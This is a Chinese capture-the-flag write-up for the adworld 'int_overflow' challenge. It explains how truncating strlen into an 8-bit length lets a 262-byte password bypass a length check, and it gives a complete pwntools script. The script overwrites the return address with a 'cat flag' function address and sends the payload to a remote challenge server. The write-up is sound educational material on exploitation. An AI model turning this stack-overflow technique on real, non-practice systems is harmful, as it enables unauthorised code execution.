• adworld int_overflow | 整形溢出


    题目链接

    这是一道帮助理解整形溢出的题,以前搞OI用自然溢出写过哈希,但那时不知道原理,布太星。

    先用checksec查壳,可以栈溢出:

    然后用IDA打开附件,先看一下字符串窗口。

    发现有cat flag的字符串,定位到执行它的函数,先记下地址0x804868B

    然后看由主函数调用的login()函数,F5之后改一下变量别名,关注一行伪代码:read(0, &passwd, 0x199u);

    然后调用了check_passwd(char *passwd)函数,溢出点就在这个函数里。

    len是个unsigned int 8,而strlen()返回值是一个size_t类型的变量,它是无符号32bit的。

    在第7行赋值的过程中,编译器会截断后者的末八位赋值给前者。8位的最大值是 (255) ,所以如果passwd字符串长度超过 (255) 就会发生自然溢出。

    第二个溢出点是在第17行的strcpy语句中,可以完成一次栈溢出。

    后面的判断语句告示我们如果要触发第二个溢出点需要满足 (4<len≤7)

    所以构造的 (payload) 长度区间为 ([261,264]) ,这里选用 (262)

    之后就是栈溢出的问题了,用前面的地址覆盖掉函数的返回地址并保证长度即可。

    脚本如下:

    #python 3.5
    from pwn import *
    #io = process('./source')
    io = remote('111.198.29.45','50364')
    payload = b'a'*0x18 + p32(0x0804868B) + b'a'*234
    #0x18 = 24 262 - 24 - 4 = 234
    io.recvuntil('Your choice:');
    io.sendline('1')
    io.recvuntil('Please input your username:
    ')
    io.sendline('NAME')
    io.recvuntil('Please input your passwd:
    ')
    io.sendline(payload)
    io.interactive()
    

  • 相关阅读:
    P4329 [COCI2006-2007#1] Bond
    P4802 [CCO 2015]路短最
    1-4-14:计算邮资
    1-4-13:分段函数
    1-4-12:骑车与走路
    1-4-11:晶晶赴约会
    1-4-10:有一门课不及格的学生
    1-4-09:判断能否被3,5,7整除
    1-4-08:判断一个数能否同时被3和5整除
    1-4-07:收集瓶盖赢大奖
  • 原文地址:https://www.cnblogs.com/zhwer/p/12504511.html
Copyright © 2020-2023  润新知